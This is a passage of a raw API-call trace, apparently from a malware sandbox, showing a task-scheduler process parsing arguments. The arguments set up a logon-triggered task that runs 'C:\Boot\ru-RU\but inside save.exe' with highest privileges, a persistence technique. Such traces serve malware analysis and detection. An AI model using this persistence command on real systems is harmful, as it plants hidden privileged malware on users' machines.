(_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.963] lstrlenW (lpString="sc") returned 2 [0131.963] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.963] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|delete|") returned 8 [0131.963] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.963] lstrlenW (lpString="|delete|") returned 8 [0131.963] lstrlenW (lpString="|sc|") returned 4 [0131.963] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0131.963] SetLastError (dwErrCode=0x490) [0131.963] lstrlenW (lpString="query") returned 5 [0131.963] lstrlenW (lpString="query") returned 5 [0131.963] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.963] lstrlenW (lpString="sc") returned 2 [0131.963] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.963] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|query|") returned 7 [0131.963] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.963] lstrlenW (lpString="|query|") returned 7 [0131.963] lstrlenW (lpString="|sc|") returned 4 [0131.963] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0131.963] SetLastError (dwErrCode=0x490) [0131.963] lstrlenW (lpString="change") returned 6 [0131.963] lstrlenW (lpString="change") returned 6 [0131.963] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.963] lstrlenW (lpString="sc") returned 2 [0131.963] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.963] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|change|") returned 8 [0131.963] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.963] lstrlenW (lpString="|change|") returned 8 [0131.963] lstrlenW (lpString="|sc|") returned 4 [0131.963] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0131.963] SetLastError (dwErrCode=0x490) [0131.963] lstrlenW (lpString="run") returned 3 [0131.964] lstrlenW (lpString="run") returned 3 [0131.964] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.964] lstrlenW (lpString="sc") returned 2 [0131.964] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.964] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|run|") returned 5 [0131.964] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.964] lstrlenW (lpString="|run|") returned 5 [0131.964] lstrlenW (lpString="|sc|") returned 4 [0131.964] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0131.964] SetLastError (dwErrCode=0x490) [0131.964] lstrlenW (lpString="end") returned 3 [0131.964] lstrlenW (lpString="end") returned 3 [0131.964] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.964] lstrlenW (lpString="sc") returned 2 [0131.964] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.964] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|end|") returned 5 [0131.964] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.964] lstrlenW (lpString="|end|") returned 5 [0131.964] lstrlenW (lpString="|sc|") returned 4 [0131.964] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0131.964] SetLastError (dwErrCode=0x490) [0131.964] lstrlenW (lpString="showsid") returned 7 [0131.964] lstrlenW (lpString="showsid") returned 7 [0131.964] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.964] lstrlenW (lpString="sc") returned 2 [0131.964] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.964] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|showsid|") returned 9 [0131.964] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.964] lstrlenW (lpString="|showsid|") returned 9 [0131.964] lstrlenW (lpString="|sc|") returned 4 [0131.964] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0131.964] SetLastError (dwErrCode=0x490) [0131.965] SetLastError (dwErrCode=0x490) [0131.965] SetLastError (dwErrCode=0x0) [0131.965] lstrlenW (lpString="/sc") returned 3 [0131.965] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0131.965] SetLastError (dwErrCode=0x490) [0131.965] SetLastError (dwErrCode=0x0) [0131.965] lstrlenW (lpString="/sc") returned 3 [0131.965] GetProcessHeap () returned 0x3d0000 [0131.965] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x8) returned 0x3ec250 [0131.965] GetProcessHeap () returned 0x3d0000 [0131.965] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc60 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] SetLastError (dwErrCode=0x0) [0131.965] lstrlenW (lpString="ONLOGON") returned 7 [0131.965] lstrlenW (lpString="-/") returned 2 [0131.965] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0131.965] SetLastError (dwErrCode=0x490) [0131.965] SetLastError (dwErrCode=0x490) [0131.965] SetLastError (dwErrCode=0x0) [0131.965] lstrlenW (lpString="ONLOGON") returned 7 [0131.965] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0131.965] SetLastError (dwErrCode=0x490) [0131.965] SetLastError (dwErrCode=0x0) [0131.965] lstrlenW (lpString="ONLOGON") returned 7 [0131.965] GetProcessHeap () returned 0x3d0000 [0131.965] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3ed4c0 [0131.965] GetProcessHeap () returned 0x3d0000 [0131.965] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc90 [0131.965] SetLastError (dwErrCode=0x0) [0131.965] SetLastError (dwErrCode=0x0) [0131.965] lstrlenW (lpString="/tr") returned 3 [0131.965] lstrlenW (lpString="-/") returned 2 [0131.965] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.965] lstrlenW (lpString="?") returned 1 [0131.965] lstrlenW (lpString="?") returned 1 [0131.965] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.965] lstrlenW (lpString="tr") returned 2 [0131.966] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.966] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|?|") returned 3 [0131.966] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.966] lstrlenW (lpString="|?|") returned 3 [0131.966] lstrlenW (lpString="|tr|") returned 4 [0131.966] SetLastError (dwErrCode=0x490) [0131.966] lstrlenW (lpString="create") returned 6 [0131.966] lstrlenW (lpString="create") returned 6 [0131.966] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.966] lstrlenW (lpString="tr") returned 2 [0131.966] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.966] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.966] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.966] lstrlenW (lpString="|create|") returned 8 [0131.966] lstrlenW (lpString="|tr|") returned 4 [0131.966] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0131.966] SetLastError (dwErrCode=0x490) [0131.966] lstrlenW (lpString="delete") returned 6 [0131.966] lstrlenW (lpString="delete") returned 6 [0131.966] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.966] lstrlenW (lpString="tr") returned 2 [0131.966] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.966] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|delete|") returned 8 [0131.966] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.966] lstrlenW (lpString="|delete|") returned 8 [0131.966] lstrlenW (lpString="|tr|") returned 4 [0131.966] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0131.966] SetLastError (dwErrCode=0x490) [0131.966] lstrlenW (lpString="query") returned 5 [0131.966] lstrlenW (lpString="query") returned 5 [0131.966] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.966] lstrlenW (lpString="tr") returned 2 [0131.967] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.967] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|query|") returned 7 [0131.967] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.967] lstrlenW (lpString="|query|") returned 7 [0131.967] lstrlenW (lpString="|tr|") returned 4 [0131.967] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0131.967] SetLastError (dwErrCode=0x490) [0131.967] lstrlenW (lpString="change") returned 6 [0131.967] lstrlenW (lpString="change") returned 6 [0131.967] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.967] lstrlenW (lpString="tr") returned 2 [0131.967] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.967] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|change|") returned 8 [0131.967] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.967] lstrlenW (lpString="|change|") returned 8 [0131.967] lstrlenW (lpString="|tr|") returned 4 [0131.967] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0131.967] SetLastError (dwErrCode=0x490) [0131.967] lstrlenW (lpString="run") returned 3 [0131.967] lstrlenW (lpString="run") returned 3 [0131.967] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.967] lstrlenW (lpString="tr") returned 2 [0131.967] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.967] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|run|") returned 5 [0131.967] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.967] lstrlenW (lpString="|run|") returned 5 [0131.967] lstrlenW (lpString="|tr|") returned 4 [0131.967] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0131.967] SetLastError (dwErrCode=0x490) [0131.967] lstrlenW (lpString="end") returned 3 [0131.967] lstrlenW (lpString="end") returned 3 [0131.967] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.967] lstrlenW (lpString="tr") returned 2 [0131.967] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.968] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|end|") returned 5 [0131.968] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.968] lstrlenW (lpString="|end|") returned 5 [0131.968] lstrlenW (lpString="|tr|") returned 4 [0131.968] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0131.968] SetLastError (dwErrCode=0x490) [0131.968] lstrlenW (lpString="showsid") returned 7 [0131.968] lstrlenW (lpString="showsid") returned 7 [0131.968] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.968] lstrlenW (lpString="tr") returned 2 [0131.968] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.968] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|showsid|") returned 9 [0131.968] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tr|") returned 4 [0131.968] lstrlenW (lpString="|showsid|") returned 9 [0131.968] lstrlenW (lpString="|tr|") returned 4 [0131.968] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0131.968] SetLastError (dwErrCode=0x490) [0131.969] SetLastError (dwErrCode=0x490) [0131.969] SetLastError (dwErrCode=0x0) [0131.969] lstrlenW (lpString="/tr") returned 3 [0131.969] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0131.969] SetLastError (dwErrCode=0x490) [0131.969] SetLastError (dwErrCode=0x0) [0131.969] lstrlenW (lpString="/tr") returned 3 [0131.969] GetProcessHeap () returned 0x3d0000 [0131.969] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x8) returned 0x3edc90 [0131.969] GetProcessHeap () returned 0x3d0000 [0131.969] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3eccc0 [0131.969] SetLastError (dwErrCode=0x0) [0131.969] SetLastError (dwErrCode=0x0) [0131.969] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.969] lstrlenW (lpString="-/") returned 2 [0131.969] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.969] SetLastError (dwErrCode=0x490) [0131.969] SetLastError (dwErrCode=0x490) [0131.969] SetLastError (dwErrCode=0x0) [0131.969] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.970] StrChrIW (lpStart="'C:\\Boot\\ru-RU\\but inside save.exe'", wMatch=0x3a) returned=":\\Boot\\ru-RU\\but inside save.exe'" [0131.970] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.970] GetProcessHeap () returned 0x3d0000 [0131.970] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3ed4e0 [0131.970] _memicmp (_Buf1=0x3ed4e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.970] GetProcessHeap () returned 0x3d0000 [0131.970] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xe) returned 0x3ed500 [0131.970] GetProcessHeap () returned 0x3d0000 [0131.970] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3ed520 [0131.970] _memicmp (_Buf1=0x3ed520, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.970] GetProcessHeap () returned 0x3d0000 [0131.970] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x4a) returned 0x3edcb0 [0131.970] SetLastError (dwErrCode=0x7a) [0131.970] SetLastError (dwErrCode=0x0) [0131.970] SetLastError (dwErrCode=0x0) [0131.970] lstrlenW (lpString="'C") returned 2 [0131.970] lstrlenW (lpString="-/") returned 2 [0131.970] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.970] SetLastError (dwErrCode=0x490) [0131.970] SetLastError (dwErrCode=0x490) [0131.970] SetLastError (dwErrCode=0x0) [0131.970] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.970] GetProcessHeap () returned 0x3d0000 [0131.970] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x48) returned 0x3e9310 [0131.970] GetProcessHeap () returned 0x3d0000 [0131.970] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3eccf0 [0131.970] SetLastError (dwErrCode=0x0) [0131.970] SetLastError (dwErrCode=0x0) [0131.970] lstrlenW (lpString="/rl") returned 3 [0131.970] lstrlenW (lpString="-/") returned 2 [0131.970] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.970] lstrlenW (lpString="?") returned 1 [0131.970] lstrlenW (lpString="?") returned 1 [0131.970] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.970] lstrlenW (lpString="rl") returned 2 [0131.970] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.971] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|?|") returned 3 [0131.971] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.971] lstrlenW (lpString="|?|") returned 3 [0131.971] lstrlenW (lpString="|rl|") returned 4 [0131.971] SetLastError (dwErrCode=0x490) [0131.971] lstrlenW (lpString="create") returned 6 [0131.971] lstrlenW (lpString="create") returned 6 [0131.971] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.971] lstrlenW (lpString="rl") returned 2 [0131.971] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.971] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.971] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.971] lstrlenW (lpString="|create|") returned 8 [0131.971] lstrlenW (lpString="|rl|") returned 4 [0131.971] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0131.971] SetLastError (dwErrCode=0x490) [0131.971] lstrlenW (lpString="delete") returned 6 [0131.971] lstrlenW (lpString="delete") returned 6 [0131.971] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.971] lstrlenW (lpString="rl") returned 2 [0131.971] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.971] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|delete|") returned 8 [0131.971] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.971] lstrlenW (lpString="|delete|") returned 8 [0131.971] lstrlenW (lpString="|rl|") returned 4 [0131.971] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0131.971] SetLastError (dwErrCode=0x490) [0131.971] lstrlenW (lpString="query") returned 5 [0131.971] lstrlenW (lpString="query") returned 5 [0131.971] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.971] lstrlenW (lpString="rl") returned 2 [0131.971] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.972] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|query|") returned 7 [0131.972] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.972] lstrlenW (lpString="|query|") returned 7 [0131.972] lstrlenW (lpString="|rl|") returned 4 [0131.972] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0131.972] SetLastError (dwErrCode=0x490) [0131.972] lstrlenW (lpString="change") returned 6 [0131.972] lstrlenW (lpString="change") returned 6 [0131.972] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.972] lstrlenW (lpString="rl") returned 2 [0131.972] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.972] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|change|") returned 8 [0131.972] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.972] lstrlenW (lpString="|change|") returned 8 [0131.972] lstrlenW (lpString="|rl|") returned 4 [0131.972] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0131.972] SetLastError (dwErrCode=0x490) [0131.972] lstrlenW (lpString="run") returned 3 [0131.972] lstrlenW (lpString="run") returned 3 [0131.972] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.972] lstrlenW (lpString="rl") returned 2 [0131.972] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.972] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|run|") returned 5 [0131.972] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.972] lstrlenW (lpString="|run|") returned 5 [0131.972] lstrlenW (lpString="|rl|") returned 4 [0131.972] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0131.972] SetLastError (dwErrCode=0x490) [0131.972] lstrlenW (lpString="end") returned 3 [0131.972] lstrlenW (lpString="end") returned 3 [0131.972] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.973] lstrlenW (lpString="rl") returned 2 [0131.973] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.973] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|end|") returned 5 [0131.973] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.973] lstrlenW (lpString="|end|") returned 5 [0131.973] lstrlenW (lpString="|rl|") returned 4 [0131.973] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0131.973] SetLastError (dwErrCode=0x490) [0131.973] lstrlenW (lpString="showsid") returned 7 [0131.973] lstrlenW (lpString="showsid") returned 7 [0131.973] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.973] lstrlenW (lpString="rl") returned 2 [0131.973] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.973] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|showsid|") returned 9 [0131.973] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|rl|") returned 4 [0131.973] lstrlenW (lpString="|showsid|") returned 9 [0131.973] lstrlenW (lpString="|rl|") returned 4 [0131.973] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0131.973] SetLastError (dwErrCode=0x490) [0131.973] SetLastError (dwErrCode=0x490) [0131.973] SetLastError (dwErrCode=0x0) [0131.973] lstrlenW (lpString="/rl") returned 3 [0131.973] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0131.973] SetLastError (dwErrCode=0x490) [0131.973] SetLastError (dwErrCode=0x0) [0131.973] lstrlenW (lpString="/rl") returned 3 [0131.973] GetProcessHeap () returned 0x3d0000 [0131.973] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x8) returned 0x3edd10 [0131.973] GetProcessHeap () returned 0x3d0000 [0131.973] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecd20 [0131.973] SetLastError (dwErrCode=0x0) [0131.973] SetLastError (dwErrCode=0x0) [0131.973] lstrlenW (lpString="HIGHEST") returned 7 [0131.973] lstrlenW (lpString="-/") returned 2 [0131.973] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0131.974] SetLastError (dwErrCode=0x490) [0131.974] SetLastError (dwErrCode=0x490) [0131.974] SetLastError (dwErrCode=0x0) [0131.974] lstrlenW (lpString="HIGHEST") returned 7 [0131.974] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0131.974] SetLastError (dwErrCode=0x490) [0131.974] SetLastError (dwErrCode=0x0) [0131.974] lstrlenW (lpString="HIGHEST") returned 7 [0131.974] GetProcessHeap () returned 0x3d0000 [0131.974] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3ed540 [0131.974] GetProcessHeap () returned 0x3d0000 [0131.974] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecd50 [0131.974] SetLastError (dwErrCode=0x0) [0131.974] SetLastError (dwErrCode=0x0) [0131.974] lstrlenW (lpString="/f") returned 2 [0131.974] lstrlenW (lpString="-/") returned 2 [0131.974] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.974] lstrlenW (lpString="?") returned 1 [0131.974] lstrlenW (lpString="?") returned 1 [0131.974] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.974] lstrlenW (lpString="f") returned 1 [0131.974] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.974] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|?|") returned 3 [0131.974] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.974] lstrlenW (lpString="|?|") returned 3 [0131.974] lstrlenW (lpString="|f|") returned 3 [0131.974] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0131.974] SetLastError (dwErrCode=0x490) [0131.974] lstrlenW (lpString="create") returned 6 [0131.974] lstrlenW (lpString="create") returned 6 [0131.974] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.974] lstrlenW (lpString="f") returned 1 [0131.974] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.974] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.974] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.974] lstrlenW (lpString="|create|") returned 8 [0131.974] lstrlenW (lpString="|f|") returned 3 [0131.975] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0131.975] SetLastError (dwErrCode=0x490) [0131.975] lstrlenW (lpString="delete") returned 6 [0131.975] lstrlenW (lpString="delete") returned 6 [0131.975] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.975] lstrlenW (lpString="f") returned 1 [0131.975] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.975] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|delete|") returned 8 [0131.975] _vsnwprintf (in: _Buffer=0x3ec200, 